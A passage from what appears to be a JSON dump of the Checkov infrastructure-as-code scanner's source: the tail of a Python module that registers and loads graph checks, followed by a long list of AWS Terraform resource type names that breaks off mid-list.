check.id == c.id):\n                            if external_check:\n                                # Note the external check; used in the should_run_check logic\n                                RunnerFilter.notify_external_check(check.id)\n                            self.checks.append(check)\n        if not external_check:\n            self.internal_checks_dir_loaded = True\n\n    def load_external_checks(self, dir: str) -> None:\n        self._load_checks_from_dir(dir, True)\n\n    @staticmethod\n    def _get_resource_types(check_json: dict[str, dict[str, Any]]) -> list[str] | None:\n        provider = check_json.get(\"scope\", {}).get(\"provider\", \"\").lower()\n        return resources_types.get(provider)\n\n\n_registry_instances: dict[str, Registry] = {}\n\n\ndef _initialize_registry(check_type: str) -> None:\n    _registry_instances[check_type] = Registry(\n        parser=GraphCheckParser(),\n        checks_dir=f\"{Path(__file__).parent.parent.parent}/{check_type}/checks/graph_checks\",\n    )\n\n\ndef get_graph_checks_registry(check_type: str) -> Registry:\n    if not _registry_instances.get(check_type):\n        _initialize_registry(check_type)\n    return _registry_instances[check_type]\n\n\ndef get_all_graph_checks_registries() -> list[Registry]:\n    graph_supported_iac_frameworks = [framework.value.lower() for framework in GraphSupportedIACFrameworks]\n    for framework in graph_supported_iac_frameworks:\n        if not _registry_instances.get(framework):\n            _initialize_registry(framework)\n    return list(_registry_instances[framework] for framework in graph_supported_iac_frameworks)\n"
  },
  {
    "path": "checkov/common/checks_infra/resources_types.py",
    "content": "resources_types = {\n    \"aws\": [\n        \"aws\",\n        \"aws_root\",\n        \"aws_root_access_key\",\n        \"aws_acm_certificate\",\n        \"aws_acm_certificate_validation\",\n        \"aws_acmpca_certificate_authority\",\n        \"aws_api_gateway_account\",\n        \"aws_api_gateway_api_key\",\n        \"aws_api_gateway_authorizer\",\n        \"aws_api_gateway_base_path_mapping\",\n        \"aws_api_gateway_client_certificate\",\n        \"aws_api_gateway_deployment\",\n        \"aws_api_gateway_documentation_part\",\n        \"aws_api_gateway_documentation_version\",\n        \"aws_api_gateway_domain_name\",\n        \"aws_api_gateway_gateway_response\",\n        \"aws_api_gateway_integration\",\n        \"aws_api_gateway_integration_response\",\n        \"aws_api_gateway_method\",\n        \"aws_api_gateway_method_response\",\n        \"aws_api_gateway_method_settings\",\n        \"aws_api_gateway_model\",\n        \"aws_api_gateway_request_validator\",\n        \"aws_api_gateway_resource\",\n        \"aws_api_gateway_rest_api\",\n        \"aws_api_gateway_stage\",\n        \"aws_api_gateway_usage_plan\",\n        \"aws_api_gateway_usage_plan_key\",\n        \"aws_api_gateway_vpc_link\",\n        \"aws_apigatewayv2_api\",\n        \"aws_apigatewayv2_api_mapping\",\n        \"aws_apigatewayv2_authorizer\",\n        \"aws_apigatewayv2_deployment\",\n        \"aws_apigatewayv2_domain_name\",\n        \"aws_apigatewayv2_integration\",\n        \"aws_apigatewayv2_integration_response\",\n        \"aws_apigatewayv2_model\",\n        \"aws_apigatewayv2_route\",\n        \"aws_apigatewayv2_route_response\",\n        \"aws_apigatewayv2_stage\",\n        \"aws_apigatewayv2_vpc_link\",\n        \"aws_accessanalyzer_analyzer\",\n        \"aws_appmesh_mesh\",\n        \"aws_appmesh_route\",\n        \"aws_appmesh_virtual_node\",\n        \"aws_appmesh_virtual_router\",\n        \"aws_appmesh_virtual_service\",\n        \"aws_appsync_api_key\",\n        \"aws_appsync_datasource\",\n        \"aws_appsync_function\",\n        \"aws_appsync_graphql_api\",\n        \"aws_appsync_resolver\",\n        \"aws_appautoscaling_policy\",\n        \"aws_appautoscaling_scheduled_action\",\n        \"aws_appautoscaling_target\",\n        \"aws_athena_database\",\n        \"aws_athena_named_query\",\n        \"aws_athena_workgroup\",\n        \"aws_autoscaling_attachment\",\n        \"aws_autoscaling_group\",\n        \"aws_autoscaling_lifecycle_hook\",\n        \"aws_autoscaling_notification\",\n        \"aws_autoscaling_policy\",\n        \"aws_autoscaling_schedule\",\n        \"aws_backup_plan\",\n        \"aws_backup_selection\",\n        \"aws_backup_vault\",\n        \"aws_batch_compute_environment\",\n        \"aws_batch_job_definition\",\n        \"aws_batch_job_queue\",\n        \"aws_budgets_budget\",\n        \"aws_cloud9_environment_ec2\",\n        \"aws_cloudformation_stack\",\n        \"aws_cloudformation_stack_set\",\n        \"aws_cloudformation_stack_set_instance\",\n        \"aws_cloudfront_distribution\",\n        \"aws_cloudfront_origin_access_identity\",\n        \"aws_cloudfront_public_key\",\n        \"aws_cloudhsm_v2_cluster\",\n        \"aws_cloudhsm_v2_hsm\",\n        \"aws_cloudtrail\",\n        \"aws_cloudwatch_dashboard\",\n        \"aws_cloudwatch_event_permission\",\n        \"aws_cloudwatch_event_rule\",\n        \"aws_cloudwatch_event_target\",\n        \"aws_cloudwatch_log_destination\",\n        \"aws_cloudwatch_log_destination_policy\",\n        \"aws_cloudwatch_log_group\",\n        \"aws_cloudwatch_log_metric_filter\",\n        \"aws_cloudwatch_log_resource_policy\",\n        \"aws_cloudwatch_log_stream\",\n        \"aws_cloudwatch_log_subscription_filter\",\n        \"aws_cloudwatch_metric_alarm\",\n        \"aws_codebuild_project\",\n        \"aws_codebuild_source_credential\",\n        \"aws_codebuild_webhook\",\n        \"aws_codecommit_repository\",\n        \"aws_codecommit_trigger\",\n        \"aws_codedeploy_app\",\n        \"aws_codedeploy_deployment_config\",\n        \"aws_codedeploy_deployment_group\",\n        \"aws_codepipeline\",\n        \"aws_codepipeline_webhook\",\n        \"aws_codestarnotifications_notification_rule\",\n        \"aws_cognito_identity_pool\",\n        \"aws_cognito_identity_pool_roles_attachment\",\n        \"aws_cognito_identity_provider\",\n        \"aws_cognito_resource_server\",\n        \"aws_cognito_user_group\",\n        \"aws_cognito_user_pool\",\n        \"aws_cognito_user_pool_client\",\n        \"aws_cognito_user_pool_domain\",\n        \"aws_config_aggregate_authorization\",\n        \"aws_config_config_rule\",\n        \"aws_config_configuration_aggregator\",\n        \"aws_config_configuration_recorder\",\n        \"aws_config_configuration_recorder_status\",\n        \"aws_config_delivery_channel\",\n        \"aws_config_organization_custom_rule\",\n        \"aws_config_organization_managed_rule\",\n        \"aws_cur_report_definition\",\n        \"aws_dlm_lifecycle_policy\",\n        \"aws_datapipeline_pipeline\",\n        \"aws_datasync_agent\",\n        \"aws_datasync_location_efs\",\n        \"aws_datasync_location_nfs\",\n        \"aws_datasync_location_s3\",\n        \"aws_datasync_location_smb\",\n        \"aws_datasync_task\",\n        \"aws_dms_certificate\",\n        \"aws_dms_endpoint\",\n        \"aws_dms_event_subscription\",\n        \"aws_dms_replication_instance\",\n        \"aws_dms_replication_subnet_group\",\n        \"aws_dms_replication_task\",\n        \"aws_devicefarm_project\",\n        \"aws_dx_bgp_peer\",\n        \"aws_dx_connection\",\n        \"aws_dx_connection_association\",\n        \"aws_dx_gateway\",\n        \"aws_dx_gateway_association\",\n        \"aws_dx_gateway_association_proposal\",\n        \"aws_dx_hosted_private_virtual_interface\",\n        \"aws_dx_hosted_private_virtual_interface_accepter\",\n        \"aws_dx_hosted_public_virtual_interface\",\n        \"aws_dx_hosted_public_virtual_interface_accepter\",\n        \"aws_dx_hosted_transit_virtual_interface\",\n        \"aws_dx_hosted_transit_virtual_interface_accepter\",\n        \"aws_dx_lag\",\n        \"aws_dx_private_virtual_interface\",\n        \"aws_dx_public_virtual_interface\",\n        \"aws_dx_transit_virtual_interface\",\n        \"aws_directory_service_conditional_forwarder\",\n        \"aws_directory_service_directory\",\n        \"aws_directory_service_log_subscription\",\n        \"aws_docdb_cluster\",\n        \"aws_docdb_cluster_instance\",\n        \"aws_docdb_cluster_parameter_group\",\n        \"aws_docdb_cluster_snapshot\",\n        \"aws_docdb_subnet_group\",\n        \"aws_dynamodb_global_table\",\n        \"aws_dynamodb_table\",\n        \"aws_dynamodb_table_item\",\n        \"aws_dax_cluster\",\n        \"aws_dax_parameter_group\",\n        \"aws_dax_subnet_group\",\n        \"aws_ami\",\n        \"aws_ami_copy\",\n        \"aws_ami_from_instance\",\n        \"aws_ami_launch_permission\",\n        \"aws_ebs_default_kms_key\",\n        \"aws_ebs_encryption_by_default\",\n        \"aws_ebs_snapshot\",\n        \"aws_ebs_snapshot_copy\",\n        \"aws_ebs_volume\",\n        \"aws_ec2_availability_zone_group\",\n        \"aws_ec2_capacity_reservation\",\n        \"aws_ec2_client_vpn_authorization_rule\",\n        \"aws_ec2_client_vpn_endpoint\",\n        \"aws_ec2_client_vpn_network_association\",\n        \"aws_ec2_client_vpn_route\",\n        \"aws_ec2_fleet\",\n        \"aws_ec2_local_gateway_route\",\n        \"aws_ec2_local_gateway_route_table_vpc_association\",\n        \"aws_ec2_tag\",\n        \"aws_ec2_traffic_mirror_filter\",\n        \"aws_ec2_traffic_mirror_filter_rule\",\n        \"aws_ec2_traffic_mirror_session\",\n        \"aws_ec2_traffic_mirror_target\",\n        \"aws_ec2_transit_gateway\",\n        \"aws_ec2_transit_gateway_peering_attachment\",\n        \"aws_ec2_transit_gateway_peering_attachment_accepter\",\n        \"aws_ec2_transit_gateway_route\",\n        \"aws_ec2_transit_gateway_route_table\",\n        \"aws_ec2_transit_gateway_route_table_association\",\n        \"aws_ec2_transit_gateway_route_table_propagation\",\n        \"aws_ec2_transit_gateway_vpc_attachment\",\n        \"aws_ec2_transit_gateway_vpc_attachment_accepter\",\n        \"aws_eip\",\n        \"aws_eip_association\",\n        \"aws_instance\",\n        \"aws_key_pair\",\n        \"aws_launch_configuration\",\n        \"aws_launch_template\",\n        \"aws_placement_group\",\n        \"aws_snapshot_create_volume_permission\",\n        \"aws_spot_datafeed_subscription\",\n        \"aws_spot_fleet_request\",\n        \"aws_spot_instance_request\",\n        \"aws_volume_attachment\",\n        \"aws_ecr_lifecycle_policy\",\n        \"aws_ecr_repository\",\n        \"aws_ecr_repository_policy\",\n        \"aws_ecs_capacity_provider\",\n        \"aws_ecs_cluster\",\n        \"aws_ecs_service\",\n        \"aws_ecs_task_definition\",\n        \"aws_efs_access_point\",\n        \"aws_efs_file_system\",\n        \"aws_efs_file_system_policy\",\n        \"aws_efs_mount_target\",\n        \"aws_eks_cluster\",\n        \"aws_eks_fargate_profile\",\n        \"aws_eks_node_group\",\n        \"aws_elasticache_cluster\",\n        \"aws_elasticache_parameter_group\",\n        \"aws_elasticache_replication_group\",\n        \"aws_elasticache_security_group\",\n        \"aws_elasticache_subnet_group\",\n        \"aws_elastic_beanstalk_application\",\n        \"aws_elastic_beanstalk_application_version\",\n        \"aws_elastic_beanstalk_configuration_template\",\n        \"aws_elastic_beanstalk_environment\",\n        \"aws_app_cookie_stickiness_policy\",\n        \"aws_elb\",\n        \"aws_elb_attachment\",\n        \"aws_lb_cookie_stickiness_policy\",\n        \"aws_lb_ssl_negotiation_policy\",\n        \"aws_load_balancer_backend_server_policy\",\n        \"aws_load_balancer_listener_policy\",\n        \"aws_load_balancer_policy\",\n        \"aws_proxy_protocol_policy\",\n        \"aws_lb\",\n        \"aws_lb_listener\",\n        \"aws_lb_listener_certificate\",\n        \"aws_lb_listener_rule\",\n        \"aws_lb_target_group\",\n        \"aws_lb_target_group_attachment\",\n        \"aws_emr_cluster\",\n        \"aws_emr_instance_group\",\n        \"aws_emr_security_configuration\",\n        \"aws_elastictranscoder_pipeline\",\n        \"aws_elastictranscoder_preset\",\n        \"aws_elasticsearch_domain\",\n        \"aws_elasticsearch_domain_policy\",\n        \"aws_fsx_lustre_file_system\",\n        \"aws_fsx_windows_file_system\",\n        \"aws_fms_admin_account\",\n        \"aws_gamelift_alias\",\n        \"aws_gamelift_build\",\n        \"aws_gamelift_fleet\",\n        \"aws_gamelift_game_session_queue\",\n        \"aws_glacier_vault\",\n        \"aws_glacier_vault_lock\",\n        \"aws_globalaccelerator_accelerator\",\n        \"aws_globalaccelerator_endpoint_group\",\n        \"aws_globalaccelerator_listener\",\n        \"aws_glue_catalog_database\",\n        \"aws_glue_catalog_table\",\n        \"aws_glue_classifier\",\n        \"aws_glue_connection\",\n        \"aws_glue_crawler\",\n        \"aws_glue_job\",\n        \"aws_glue_security_configuration\",\n        \"aws_glue_trigger\",\n        \"aws_glue_workflow\",\n        \"aws_guardduty_detector\",\n        \"aws_guardduty_invite_accepter\",\n        \"aws_guardduty_ipset\",\n        \"aws_guardduty_member\",\n        \"aws_guardduty_organization_admin_account\",\n        \"aws_guardduty_organization_configuration\",\n        \"aws_guardduty_threatintelset\",\n        \"aws_iam_access_key\",\n        \"aws_iam_account_alias\",\n        \"aws_iam_account_password_policy\",\n        \"aws_iam_group\",\n        \"aws_iam_group_membership\",\n        \"aws_iam_group_policy\",\n        \"aws_iam_group_policy_attachment\",\n        \"aws_iam_instance_profile\",\n        \"aws_iam_openid_connect_provider\",\n        \"aws_iam_policy\",\n        \"aws_iam_policy_attachment\",\n        \"aws_iam_policy_document\",\n        \"aws_iam_role\",\n        \"aws_iam_role_policy\",\n        \"aws_iam_role_policy_attachment\",\n        \"aws_iam_saml_provider\",\n        \"aws_iam_server_certificate\",\n        \"aws_iam_service_linked_role\",\n        \"aws_iam_user\",\n        \"aws_iam_user_group_membership\",\n        \"aws_iam_user_login_profile\",\n        \"aws_iam_user_policy\",\n        \"aws_iam_user_policy_attachment\",\n        \"aws_iam_user_ssh_key\",\n        \"aws_inspector_assessment_target\",\n        \"aws_inspector_assessment_template\",\n        \"aws_inspector_resource_group\",\n        \"aws_iot_certificate\",\n        \"aws_iot_policy\",\n        \"aws_iot_policy_attachment\",\n        \"aws_iot_role_alias\",\n        \"aws_iot_thing\",\n        \"aws_iot_thing_principal_attachment\",\n        \"aws_iot_thing_type\",\n        \"aws_iot_topic_rule\",\n        \"aws_kms_alias\",\n        \"aws_kms_ciphertext\",\n        \"aws_kms_external_key\",\n        \"aws_kms_grant\",\n        \"aws_kms_key\",\n        \"aws_kinesis_analytics_application\",\n        \"aws_kinesis_stream\",\n        \"aws_kinesis_firehose_delivery_stream\",\n        \"aws_kinesis_video_stream\",\n        \"aws_lambda_alias\",\n        \"aws_lambda_event_source_mapping\",\n        \"aws_lambda_function\",\n        \"aws_lambda_function_event_invoke_config\",\n        \"aws_lambda_layer_version\",\n        \"aws_lambda_permission\",\n        \"aws_lambda_provisioned_concurrency_config\",\n        \"aws_licensemanager_association\",\n        \"aws_licensemanager_license_configuration\",\n        \"aws_lightsail_domain\",\n        \"aws_lightsail_instance\",\n        \"aws_lightsail_key_pair\",\n        \"aws_lightsail_static_ip\",\n        \"aws_lightsail_static_ip_attachment\",\n        \"aws_mq_broker\",\n        \"aws_mq_configuration\",\n        \"aws_macie_member_account_association\",\n        \"aws_macie_s3_bucket_association\",\n        \"aws_msk_cluster\",\n        \"aws_msk_configuration\",\n        \"aws_media_convert_queue\",\n        \"aws_media_package_channel\",\n        \"aws_media_store_container\",\n        \"aws_media_store_container_policy\",\n        \"aws_neptune_cluster\",\n        \"aws_neptune_cluster_instance\",\n        \"aws_neptune_cluster_parameter_group\",\n        \"aws_neptune_cluster_snapshot\",\n        \"aws_neptune_event_subscription\",\n        \"aws_neptune_parameter_group\",\n        \"aws_neptune_subnet_group\",\n        \"aws_opsworks_application\",\n        \"aws_opsworks_custom_layer\",\n        \"aws_opsworks_ganglia_layer\",\n        \"aws_opsworks_haproxy_layer\",\n        \"aws_opsworks_instance\",\n        \"aws_opsworks_java_app_layer\",\n        \"aws_opsworks_memcached_layer\",\n        \"aws_opsworks_mysql_layer\",\n        \"aws_opsworks_nodejs_app_layer\",\n        \"aws_opsworks_permission\",\n        \"aws_opsworks_php_app_layer\",\n        \"aws_opsworks_rails_app_layer\",\n        \"aws_opsworks_rds_db_instance\",\n        \"aws_opsworks_stack\",\n        \"aws_opsworks_static_web_layer\",\n        \"aws_opsworks_user_profile\",\n        \"aws_organizations_account\",\n        \"aws_organizations_organization\",\n        \"aws_organizations_organizational_unit\",\n        \"aws_organizations_policy\",\n        \"aws_organizations_policy_attachment\",\n        \"aws_pinpoint_adm_channel\",\n        \"aws_pinpoint_apns_channel\",\n        \"aws_pinpoint_apns_sandbox_channel\",\n        \"aws_pinpoint_apns_voip_channel\",\n        \"aws_pinpoint_apns_voip_sandbox_channel\",\n        \"aws_pinpoint_app\",\n        \"aws_pinpoint_baidu_channel\",\n        \"aws_pinpoint_email_channel\",\n        \"aws_pinpoint_event_stream\",\n        \"aws_pinpoint_gcm_channel\",\n        \"aws_pinpoint_sms_channel\",\n        \"aws_qldb_ledger\",\n        \"aws_quicksight_group\",\n        \"aws_quicksight_user\",\n        \"aws_ram_principal_association\",\n        \"aws_ram_resource_association\",\n        \"aws_ram_resource_share\",\n        \"aws_ram_resource_share_accepter\",\n        \"aws_db_cluster_snapshot\",\n        \"aws_db_event_subscription\",\n        \"aws_db_instance\",\n        \"aws_db_instance_role_association\",\n        \"aws_db_option_group\",\n        \"aws_db_parameter_group\",\n        \"aws_db_security_group\",\n        \"aws_db_snapshot\",\n        \"aws_db_subnet_group\",\n        \"aws_rds_cluster\",\n        \"aws_rds_cluster_endpoint\",\n        \"aws_rds_cluster_instance\",\n        \"aws_rds_cluster_parameter_group\",\n        \"aws_rds_global_cluster\",\n        \"aws_redshift_cluster\",\n        \"aws_redshift_event_subscription\",\n        \"aws_redshift_parameter_group\",\n        \"aws_redshift_security_group\",\n        \"aws_redshift_snapshot_copy_grant\",\n        \"aws_redshift_snapshot_schedule\",\n        \"aws_redshift_snapshot_schedule_association\",\n        \"aws_redshift_subnet_group\",\n        \"aws_resourcegroups_group\",\n        \"aws_route53_delegation_set\",\n        \"aws_route53_health_check\",\n        \"aws_route53_query_log\",\n        \"aws_route53_record\",\n        \"aws_route53_zone\",\n        \"aws_route53_zone_association\",\n        \"aws_route53_resolver_endpoint\",\n        \"aws_route53_resolver_rule\",\n        \"aws_route53_resolver_rule_association\",\n        \"aws_s3_access_point\",\n        \"aws_s3_account_public_access_block\",\n        \"aws_s3_bucket\",\n        \"aws_s3_bucket_analytics_configuration\",\n        \"aws_s3_bucket_inventory\",\n        \"aws_s3_bucket_metric\",\n        \"aws_s3_bucket_notification\",\n        \"aws_s3_bucket_object\",\n        \"aws_s3_bucket_policy\",\n        \"aws_s3_bucket_public_access_block\",\n        \"aws_ses_active_receipt_rule_set\",\n        \"aws_ses_configuration_set\",\n        \"aws_ses_domain_dkim\",\n        \"aws_ses_domain_identity\",\n        \"aws_ses_domain_identity_verification\",\n        \"aws_ses_domain_mail_from\",\n        \"aws_ses_email_identity\",\n        \"aws_ses_event_destination\",\n        \"aws_ses_identity_notification_topic\",\n        \"aws_ses_identity_policy\",\n        \"aws_ses_receipt_filter\",\n        \"aws_ses_receipt_rule\",\n        \"aws_ses_receipt_rule_set\",\n        \"aws_ses_template\",\n        \"aws_sns_platform_application\",\n        \"aws_sns_sms_preferences\",\n        \"aws_sns_topic\",\n        \"aws_sns_topic_policy\",\n        \"aws_sns_topic_subscription\",\n        \"aws_sqs_queue\",\n        \"aws_sqs_queue_policy\",\n        \"aws_ssm_activation\",\n        \"aws_ssm_association\",\n        \"aws_ssm_document\",\n        \"aws_ssm_maintenance_window\",\n        \"aws_ssm_maintenance_window_target\",\n        \"aws_ssm_maintenance_window_task\",\n        \"aws_ssm_parameter\",\n        \"aws_ssm_patch_baseline\",\n        \"aws_ssm_patch_group\",\n        \"aws_ssm_resource_data_sync\",\n        \"aws_swf_domain\",\n        \"aws_sagemaker_endpoint\",\n        \"aws_sagemaker_endpoint_configuration\",\n        \"aws_sagemaker_model\",\n        \"aws_sagemaker_notebook_instance\",\n        \"aws_sagemaker_notebook_instance_lifecycle_configuration\",\n        \"aws_secretsmanager_secret\",\n        \"aws_secretsmanager_secret_rotation\",\n        \"aws_secretsmanager_secret_version\",\n        \"aws_securityhub_account\",\n        \"aws_securityhub_member\",\n        \"aws_securityhub_product_subscription\",\n        \"aws_securityhub_standards_subscription\",\n        \"aws_servicecatalog_portfolio\",\n        \"aws_service_discovery_http_namespace\",\n        \"aws_service_discovery_private_dns_namespace\",\n        \"aws_service_discovery_public_dns_namespace\",\n        \"aws_service_discovery_service\",\n        \"aws_servicequotas_service_quota\",\n        \"aws_shield_protection\",\n        \"aws_simpledb_domain\",\n        \"aws_sfn_activity\",\n        \"aws_sfn_state_machine\",\n        \"aws_storagegateway_cache\",\n        \"aws_storagegateway_cached_iscsi_volume\",\n        \"aws_storagegateway_gateway\",\n        \"aws_storagegateway_nfs_file_share\",\n        \"aws_storagegateway_smb_file_share\",\n        \"aws_storagegateway_upload_buffer\",\n        \"aws_storagegateway_working_storage\",\n        \"aws_transfer_server\",\n        \"aws_transfer_ssh_key\",\n        \"aws_transfer_user\",\n        \"aws_customer_gateway\",\n        \"aws_default_network_acl\",\n        \"aws_default_route_table\",\n        \"aws_default_security_group\",\n        \"aws_default_subnet\",\n        \"aws_default_vpc\",\n        \"aws_default_vpc_dhcp_options\",\n        \"aws_egress_only_internet_gateway\",\n        \"aws_flow_log\",\n        \"aws_internet_gateway\",\n        \"aws_main_route_table_association\",\n        \"aws_nat_gateway\",\n        \"aws_network_acl\",\n        \"aws_network_acl_rule\",\n        \"aws_network_interface\",\n        \"aws_network_interface_attachment\",\n        \"aws_network_interface_sg_attachment\",\n        \"aws_route\",\n        \"aws_route_table\",\n        \"aws_route_table_association\",\n        \"aws_security_group\",\n        \"aws_security_group_rule\",\n        \"aws_subnet\",\n        \"aws_vpc\",\n        \"aws_vpc_dhcp_options\",\n        \"aws_vpc_dhcp_options_association\",\n        \"aws_vpc_endpoint\",\n        \"aws_vpc_endpoint_connection_notification\",\n        \"aws_vpc_endpoint_route_table_association\",\n        \"aws_vpc_endpoint_service\",\n        \"aws_vpc_endpoint_service_allowed_principal\",\n        \"aws_vpc_endpoint_subnet_association\",\n        \"aws_vpc_ipv4_cidr_block_association\",\n        \"aws_vpc_peering_connection\",\n        \"aws_vpc_peering_connection_accepter\",\n        \"aws_vpc_peering_connection_options\",\n        \"aws_vpn_connection\",\n        \"aws_vpn_connection_route\",\n        \"aws_vpn_gateway\",\n        \"aws_vpn_gateway_attachment\",\n        \"aws_vpn_gateway_route_propagation\",\n        \"aws_waf_byte_match_set\",\n        \"aws_waf_geo_match_set\",\n        \"aws_waf_ipset\",\n        \"aws_waf_rate_based_rule\",\n        \"aws_waf_regex_match_set\",\n        \"aws_waf_regex_pattern_set\",\n        \"aws_waf_rule\",\n        \"aws_waf_rule_group\",\n        \"aws_waf_size_constraint_set\",\n        \"aws_waf_sql_injection_match_set\",\n        \"aws_waf_web_acl\",\n        \"aws_waf_xss_match_set\",\n        \"aws_wafregional_byte_match_set\",\n        \"aws_wafregional_geo_match_set\",\n        \"aws_wafregional_ipset\",\n        \"aws_wafregional_rate_based_rule\",\n        \"aws_wafregional_regex_match_set\",\n        \"aws_wafregional_regex_pattern_set\",\n        \"aws_wafregional_rule\",\n        \"aws_wafregional_rule_group\",\n        \"aws_wafregional_size_constraint_set\",\n        \"aws_wafregional_sql_injection_match_set\",\n        \"aws_wafregional_web_acl\",\n        \"aws_wafregional_web_acl_association\",\n        \"aws_wafregional_xss_match_set\",\n        \"aws_wafv2_ip_set\",\n        \"aws_wafv2_regex_pattern_set\",\n        \"aws_wafv2_rule_group\",\n        \"aws_wafv2_web_acl\",\n        \"aws_wafv2_web_acl_association\",\n        \"aws_wafv2_web_acl_logging_configuration\",\n        \"aws_worklink_fleet\",\n        \"aws_worklink_website_certificate_authority_association\",\n        \"aws_workspaces_directory\",\n        \"aws_workspaces_ip_group\",\n        \"aws_workspaces_workspace\",\n        \"aws_xray_sampling_rule\",\n        \"aws_route53_vpc_association_authorization\",\n        \"aws_alb\",\n        \"aws_alb_listener\",\n        \"aws_alb_listener_certificate\",\n        \"aws_alb_listener_rule\",\n        \"aws_alb_target_group\",\n        \"aws_alb_target_group_attachment\",\n        \"aws_api_gateway_rest_api_policy\",\n        \"aws_appmesh_gateway_route\",\n        \"aws_appmesh_virtual_gateway\",\n        \"aws_autoscalingplans_scaling_plan\",\n        \"aws_backup_global_settings\",\n        \"aws_backup_region_settings\",\n        \"aws_backup_vault_notifications\",\n        \"aws_backup_vault_policy\",\n        \"aws_cloudfront_cache_policy\",\n        \"aws_cloudfront_origin_request_policy\",\n        \"aws_cloudfront_realtime_log_config\",\n        \"aws_cloudwatch_composite_alarm\",\n        \"aws_cloudwatch_event_archive\",\n        \"aws_cloudwatch_event_bus\",\n        \"aws_codeartifact_domain\",\n        \"aws_codeartifact_domain_permissions_policy\",\n        \"aws_codeartifact_repository\",\n        \"aws_codeartifact_repository_permissions_policy\",\n        \"aws_codebuild_report_group\",\n        \"aws_codestarconnections_connection\",\n        \"aws_config_conformance_pack\",\n        \"aws_config_remediation_configuration\",\n        \"aws_datasync_location_fsx_windows_file_system\",\n        \"aws_db_proxy\",\n        \"aws_db_proxy_default_target_group\",\n        \"aws_db_proxy_target\",\n        \"aws_ec2_carrier_gateway\",\n        \"aws_ec2_managed_prefix_list\",\n        \"aws_ec2_transit_gateway_prefix_list_reference\",\n        \"aws_elasticache_global_replication_group\",\n        \"aws_emr_instance_fleet\",\n        \"aws_emr_managed_scaling_policy\",\n        \"aws_fms_policy\",\n        \"aws_glue_data_catalog_encryption_settings\",\n        \"aws_glue_dev_endpoint\",\n        \"aws_glue_ml_transform\",\n        \"aws_glue_partition\",\n        \"aws_glue_registry\",\n        \"aws_glue_resource_policy\",\n        \"aws_glue_schema\",\n        \"aws_glue_user_defined_function\",\n        \"aws_guardduty_filter\",\n        \"aws_guardduty_publishing_destination\",\n        \"aws_imagebuilder_component\",\n        \"aws_imagebuilder_distribution_configuration\",\n        \"aws_imagebuilder_image\",\n        \"aws_imagebuilder_image_pipeline\",\n        \"aws_imagebuilder_image_recipe\",\n        \"aws_imagebuilder_infrastructure_configuration\",\n        \"aws_kinesisanalyticsv2_application\",\n        \"aws_lakeformation_data_lake_settings\",\n        \"aws_lakeformation_permissions\",\n        \"aws_lakeformation_resource\",\n        \"aws_lambda_code_signing_config\",\n        \"aws_lex_bot\",\n        \"aws_lex_bot_alias\",\n        \"aws_lex_intent\",\n        \"aws_lex_slot_type\",\n        \"aws_msk_scram_secret_association\",\n        \"aws_networkfirewall_firewall\",\n        \"aws_networkfirewall_firewall_policy\",\n        \"aws_networkfirewall_logging_configuration\",\n        \"aws_networkfirewall_resource_policy\",\n        \"aws_networkfirewall_rule_group\",\n        \"aws_prometheus_workspace\",\n        \"aws_route53_key_signing_key\",\n        \"aws_route53_resolver_dnssec_config\",\n        \"aws_route53_resolver_query_log_config\",\n        \"aws_route53_resolver_query_log_config_association\",\n        \"aws_s3_bucket_ownership_controls\",\n        \"aws_s3_object_copy\",\n        \"aws_s3control_bucket\",\n        \"aws_s3control_bucket_lifecycle_configuration\",\n        \"aws_s3control_bucket_policy\",\n        \"aws_s3outposts_endpoint\",\n        \"aws_sagemaker_app_image_config\",\n        \"aws_sagemaker_code_repository\",\n        \"aws_sagemaker_domain\",\n        \"aws_sagemaker_feature_group\",\n        \"aws_sagemaker_image\",\n        \"aws_sagemaker_image_version\",\n        \"aws_sagemaker_model_package_group\",\n        \"aws_sagemaker_user_profile\",\n        \"aws_secretsmanager_secret_policy\",\n        \"aws_securityhub_action_target\",\n        \"aws_securityhub_invite_accepter\",\n        \"aws_securityhub_organization_admin_account\",\n        \"aws_serverlessapplicationrepository_cloudformation_stack\",\n        \"aws_signer_signing_job\",\n        \"aws_signer_signing_profile\",\n        \"aws_signer_signing_profile_permission\",\n        \"aws_ssoadmin_account_assignment\",\n        \"aws_ssoadmin_managed_policy_attachment\",\n        \"aws_ssoadmin_permission_set\",\n        \"aws_ssoadmin_permission_set_inline_policy\",\n        \"aws_storagegateway_stored_iscsi_volume\",\n        \"aws_storagegateway_tape_pool\",\n        \"aws_synthetics_canary\",\n        \"aws_xray_encryption_config\",\n        \"aws_xray_group\",\n        \"aws_acmpca_certificate\",\n        \"aws_acmpca_certificate_authority_certificate\",\n        \"aws_cloudfront_key_group\",\n        \"aws_cloudwatch_query_definition\",\n        \"aws_cognito_user_pool_ui_customization\",\n        \"aws_ecr_registry_policy\",\n        \"aws_ecr_replication_configuration\",\n        \"aws_ecrpublic_repository\",\n        \"aws_eks_addon\",\n        \"aws_kinesis_stream_consumer\",\n        \"aws_kinesisanalyticsv2_application_snapshot\",\n        \"aws_lightsail_instance_public_ports\",\n        \"aws_mwaa_environment\",\n        \"aws_route53_hosted_zone_dnssec\",\n        \"aws_route53_resolver_firewall_domain_list\",\n        \"aws_route53_resolver_firewall_rule_group\",\n        \"aws_sagemaker_app\",\n        \"aws_securityhub_insight\",\n        \"aws_timestreamwrite_database\",\n        \"aws_account_alternate_contact\",\n        \"aws_amplify_app\",\n        \"aws_amplify_backend_environment\",\n        \"aws_amplify_branch\",\n        \"aws_amplify_domain_association\",\n        \"aws_amplify_webhook\",\n        \"aws_appconfig_application\",\n        \"aws_appconfig_configuration_profile\",\n        \"aws_appconfig_deployment\",\n        \"aws_appconfig_deployment_strategy\",\n        \"aws_appconfig_environment\",\n        \"aws_appconfig_hosted_configuration_version\",\n        \"aws_apprunner_auto_scaling_configuration_version\",\n        \"aws_apprunner_connection\",\n        \"aws_apprunner_custom_domain_association\",\n        \"aws_apprunner_service\",\n        \"aws_appstream_directory_config\",\n        \"aws_appstream_fleet\",\n        \"aws_appstream_fleet_stack_association\",\n        \"aws_appstream_image_builder\",\n        \"aws_appstream_stack\",\n        \"aws_appstream_user\",\n        \"aws_appstream_user_stack_association\",\n        \"aws_autoscaling_group_tag\",\n        \"aws_backup_vault_lock_configuration\",\n        \"aws_batch_scheduling_policy\",\n        \"aws_budgets_budget_action\",\n        \"aws_chime_voice_connector\",\n        \"aws_chime_voice_connector_group\",\n        \"aws_chime_voice_connector_logging\",\n        \"aws_chime_voice_connector_origination\",\n        \"aws_chime_voice_connector_streaming\",\n        \"aws_chime_voice_connector_termination\",\n        \"aws_chime_voice_connector_termination_credentials\",\n        